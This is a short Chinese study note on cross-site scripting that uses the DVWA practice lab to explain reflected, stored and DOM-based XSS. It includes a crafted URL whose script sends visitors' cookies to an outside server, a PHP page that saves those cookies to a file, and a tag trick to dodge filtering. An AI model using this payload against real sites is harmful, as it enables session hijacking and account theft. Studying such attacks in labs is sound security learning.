这是我的笔记!不太好参考噢~
XSS即跨站脚本攻击(Cross Site Scripting),本来应该缩写成css,但毕竟三大件有了,就叫xss了。只有动态网站才有会被xss的可能,因为xss原理就是在网页中注入而已js语句,在用户访问时执行它们来达到目的,静态网站由于没有注入点(毕竟不需要交互,没有输入)是不会被攻击的。
比如某个页面后端用php编写,有以下源码:
<?php
$xss = $_GET['x'];
echo $xss;
?>
那么很明显,我们可以通过控制x这个用户输入变量来干一些事情,插入一段js代码不在话下,这就是最简单的xss攻击了。
#XSS攻击的类型
# 1.反射型·非持久化XSS
一次性的XSS攻击,将XSS代码通过url中参数的形式发送至服务器,让其解析并返回含有XSS的结果给浏览器,使之执行XSS代码,达到攻击目的。
通过某些手段(比如rz学长非常喜欢玩的QR-code)让用户访问存在XSS的url,使得XSS攻击成功。一个应用就是拿取用户在本站的cookie。
以DVWA靶场的反射型XSS为例,如果我们如此构造一个url(注意靶场url,我是用docker部署的,8087端口映射到80)(注意script标签是不准确的,因为标准的会被识别为html标签所以这样绕过):
http://localhost:8087/vulnerabilities/xss_r/?name=<"scripts>document.location='http://192.168.43.15/cookiein.php?cookie='+document.cookie;<"/scripts>
并且在我们的服务器上有这么一个页面(部署在”192.168.43.15/cookiein.php”):
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
那么只要某个用户通过这个url进入靶场,那么就可以得到他的cookie并且存储到cookie.txt中。
# 2.存储型·持久化XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次有用户请求目标页面时XSS会再次运行(已经成为了页面的一部分了),从而攻击成功。这样甚至不用诱导目标访问某个url就能达到目的。
也就是说,只要进行一次XSS攻击,XSS恶意代码就会被保留在页面中,只要有用户访问该页面,就会触发。其它的和反射型XSS是一致的。
# 3.DOM型XSS
利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端检测的效果。
详细例子见这里~